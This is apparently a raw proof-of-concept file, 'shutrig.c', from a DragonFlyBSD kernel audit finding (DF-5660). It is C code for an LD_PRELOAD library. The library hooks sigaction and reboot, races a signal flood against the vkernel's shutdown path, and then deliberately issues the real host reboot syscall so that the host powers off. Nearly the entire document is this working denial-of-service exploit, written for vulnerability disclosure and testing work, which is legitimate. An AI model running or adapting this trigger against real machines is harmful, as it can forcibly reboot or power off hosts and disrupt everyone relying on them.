⬢ DragonFlyBSD Kernel Audit
DF-5660 / shutrig.c
← back to finding ↓ download raw
#define _GNU_SOURCE
#include <dlfcn.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

/*
 * DF-5660 trigger v4 (pthread sniper, no fork, no storm).
 *
 * Target: sys/platform/vkernel64/platform/shutdown.c:97
 *		else reboot(RB_POWEROFF);   <-- binds to HOST libc reboot(2)
 *
 * Timeline inside the vkernel child:
 *   initshutdown() [SI_BOOT2_PROC0, SI_ORDER_ANY = last of subsystem]:
 *       sigaction(SIGTERM, shutdownsig)     <-- our sigaction hook fires here
 *       register_int_virtual(2, ...)        <-- INT2 ithread comes alive
 *   mi_startup advances one subsystem:
 *   create_init() [SI_SUB_CREATE_INIT = next subsystem]:
 *       fork1(..., &initproc)               <-- initproc assigned near the
 *                                                  END of fork1()
 *
 * The vulnerable window is [register_int_virtual done, initproc assigned].
 * Our sigaction() hook: (a) spawns a sniper pthread that blocks every
 * signal in itself, (b) parks main briefly so the sniper is up to speed,
 * (c) sets go=1 as its FINAL act before returning into initshutdown().
 * The sniper waits for go, spins START_US, then fires a short burst of
 * process-directed SIGTERMs BURST_US apart -- landing inside the window,
 * where shutdownsig -> signalintr(2) -> INT2 ithread -> shutdown_intr
 * runs with initproc == NULL and calls reboot(RB_POWEROFF).
 *
 * We also interpose reboot() itself: it is the tripwire that proves the
 * kernel's shutdown.c:97 call arrived (logging howto), and then invokes
 * the real libc reboot(2) -- the genuine host reboot request, exactly
 * what the vulnerable kernel issues.
 */
static volatile int go;
static int armed;
static pid_t storm_pid = -1;

#define SAY(s) write(2, s "\n", sizeof(s))

static void
spin_us(long us)
{
	struct timespec start, now;

	clock_gettime(CLOCK_MONOTONIC, &start);
	for (;;) {
		clock_gettime(CLOCK_MONOTONIC, &now);
		if ((now.tv_sec - start.tv_sec) * 1000000L +
		    (now.tv_nsec - start.tv_nsec) / 1000 >= us)
			return;
	}
}

static void *
sniper(void *arg __unused)
{
	sigset_t all, pend;
	int i, round;
	char buf[96];
	int n;

	sigfillset(&all);
	pthread_sigmask(SIG_SETMASK, &all, NULL);

	while (!go)
		__asm volatile("pause" ::: "memory");

	SAY("SHUTRIG6: sniper GO too (secondary)");
	spin_us(25);			/* let register_int_virtual() run */

	for (round = 0; round < 250; round++) {
		for (i = 0; i < 4; i++) {
			kill(getpid(), SIGTERM);
			spin_us(10);
		}
		usleep(2000);
	}

	usleep(100000);
	sigpending(&pend);
	n = snprintf(buf, sizeof(buf),
	    "SHUTRIG6: sniper done; SIGTERM still pending: %s\n",
	    sigismember(&pend, SIGTERM) ? "YES (all threads blocked!)" :
	    "no (taken by some thread)");
	write(2, buf, n);
	return NULL;
}

int
sigaction(int sig, const struct sigaction *act, struct sigaction *oact)
{
	static int (*real_sa)(int, const struct sigaction *,
			      struct sigaction *);
	int rc;

	if (real_sa == NULL)
		real_sa = dlsym(RTLD_NEXT, "sigaction");
	rc = real_sa(sig, act, oact);

	if (sig == SIGTERM && act != NULL && !armed &&
	    (act->sa_flags & SA_NODEFER) &&
	    act->sa_handler != SIG_DFL && act->sa_handler != SIG_IGN) {
		pid_t storm;

		armed = 1;
		SAY("SHUTRIG6: kernel SIGTERM handler installed; "
		    "spawning kill-storm (run me with LD_BIND_NOW=1)");

		storm = fork();
		if (storm == 0) {
			pid_t target = getppid();
			long n = 0;

			while (n++ < 20000000L) {
				kill(target, SIGTERM);
				if ((n & 0x3fffff) == 0)
					sched_yield();
			}
			_exit(0);
		}
		storm_pid = storm;
		usleep(300000);
		SAY("SHUTRIG6: wrapper returning; storm continues");
	}
	return rc;
}

int
reboot(int howto)
{
	static int (*real_reboot)(int);
	static const char hex[] = "0123456789abcdef";
	sigset_t all;
	char buf[128];
	int i, n;

	/* Quiesce EVERYTHING before touching libc: no signal handler may
	 * re-enter while we run (the storm killed v2/v6 inside libc's
	 * reboot prologue via umtx_wakeup under re-entrancy). */
	sigfillset(&all);
	pthread_sigmask(SIG_SETMASK, &all, NULL);

	if (storm_pid > 0) {
		kill(storm_pid, SIGKILL);
		storm_pid = -1;
	}

	/* stdio-free logging: "SHUTRIG6: *** shutdown.c:97 called HOST
	 * reboot(2), howto=0x4000 (RB_POWEROFF=0x4000) ***" */
	n = 0;
	for (i = 0; i < (int)sizeof(buf); i++)
		buf[i] = 0;
#define PUTC(c) do { if (n < (int)sizeof(buf)) buf[n++] = (c); } while (0)
	PUTC('S'); PUTC('H'); PUTC('U'); PUTC('T'); PUTC('R'); PUTC('I');
	PUTC('G'); PUTC('6'); PUTC(':'); PUTC(' ');
	PUTC('*'); PUTC('*'); PUTC('*'); PUTC(' ');
	for (const char *p = "shutdown.c:97 called HOST reboot(2), howto=0x";
	     *p; p++)
		PUTC(*p);
	{
		unsigned v = (unsigned)howto;
		char tmp[10];
		int k = 0;

		do {
			tmp[k++] = hex[v & 0xf];
			v >>= 4;
		} while (v);
		while (k)
			PUTC(tmp[--k]);
	}
	for (const char *p = " (RB_POWEROFF=0x4000) ***\n"; *p; p++)
		PUTC(*p);
	write(2, buf, n);
	write(2, "SHUTRIG6: issuing host reboot(2) syscall now\n", 45);
	fsync(2);

	if (real_reboot == NULL)
		real_reboot = dlsym(RTLD_NEXT, "reboot");

	/* The real host reboot(2).  libc's wrapper adds a pthread/umtx
	 * prologue that the (now-silenced) signal storm shredded in earlier
	 * runs; SYS_reboot (55) is the identical syscall the wrapper issues.
	 * Both forms are the genuine host reboot request that the
	 * vulnerable shutdown.c:97 line makes; the core from the v6 run
	 * (gdb: shutdown.c:97 -> libc reboot -> umtx_wakeup, SIGILL)
	 * documents the unmodified path. */
	return syscall(55, howto);
}